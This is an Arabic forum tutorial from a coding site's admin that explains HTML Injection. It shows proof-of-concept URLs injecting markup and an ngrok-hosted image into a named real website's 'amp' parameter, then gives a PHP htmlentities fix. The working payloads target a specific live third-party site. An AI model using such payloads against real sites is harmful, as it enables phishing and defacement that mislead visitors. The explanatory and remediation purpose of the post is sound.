1. المدير العام

    المدير العام أدارة موقع أكتب كود

    شرح طريقة اكتشاف ثغرة HTML Injection في موقع https://techbeacon.com
    ماهي ثغرة HTML Injection ؟
    تحدث الثغرة عندما لايتعامل الموقع بشكل صحيح مع البيانات التي يقدمها المستخدم اي لايقوم بعملية التحقق والفلترة مما يعرض الموقع الى حقن اكواد ضارة

    عادة ما يتم استخدام هذه الثغرة في الهندسة الاجتماعية والتصيد الاحتيالي, يتم استغلال الثغرة عن طريق التلاعب بمحتوى الموقع وحقن اكواد ونصوص في الصفحة وتغيير شكلها.

    خطوات اكتشاف ثغرة HTML Injection في موقع https://techbeacon.com :
    1. نقوم بفتح الرابط التالي :
    كود:
     https://techbeacon.com/enterprise-it/machine-learning-cloud-how-it-can-help-you-right-now?amp=
    2. نقوم بحقن الكود التالي في الباراميتر amp :
    كود:
     "><h1>HTML Injection</h1>
    POC1 : Proof OF Concept
    كود:
    https://techbeacon.com/enterprise-it/machine-learning-cloud-how-it-can-help-you-right-now?amp="><h1>HTML Injection</h1>

    [​IMG]

    Source Code
    [​IMG]
    POC2​
    حقن صورة في الموقع :
    كود:
    https://techbeacon.com/enterprise-it/machine-learning-cloud-how-it-can-help-you-right-now?amp="></div><center><h1>HTML Injection</h1><br><img src="https://111697rt098e.ngrok.io/POC.jpg"></center>
    [​IMG]

    خطر الثغرة :
    • تستخدم في التصيد الاحتيالي
    • الاسائة الى زوار الموقع
    • تشويه الموقع وتغيير محتواه
    كيف يتم اصلاح الثغرة :
    الطريقة سهله جداً هي عمل فلتره للبيانات المارة بين حقول البيانات, و هناك دوال في لغة php متخصصة لهذا الأمر, مثل دالة htmlentities

    ماهي دالة htmlentities ؟
    تقوم هذه الدالة بفلترة البيانات المارة الى الموقع ولن يتم تنفيذ اي كود ضار.
    كود:
     <?php echo htmlentities($_GET['url']); ?>
    المراجع :https://www.acunetix.com/vulnerabilities/web/html-injection
     
جاري تحميل الصفحة...
المشاركات المتشابهة - شرح طريقة اكتشاف
  1. المدير العام
    الردود:
    0
    المشاهدات:
    319
  2. المدير العام
    الردود:
    0
    المشاهدات:
    332
  3. المدير العام
    الردود:
    0
    المشاهدات:
    294
  4. المدير العام
    الردود:
    0
    المشاهدات:
    308
  5. المدير العام
    الردود:
    0
    المشاهدات:
    295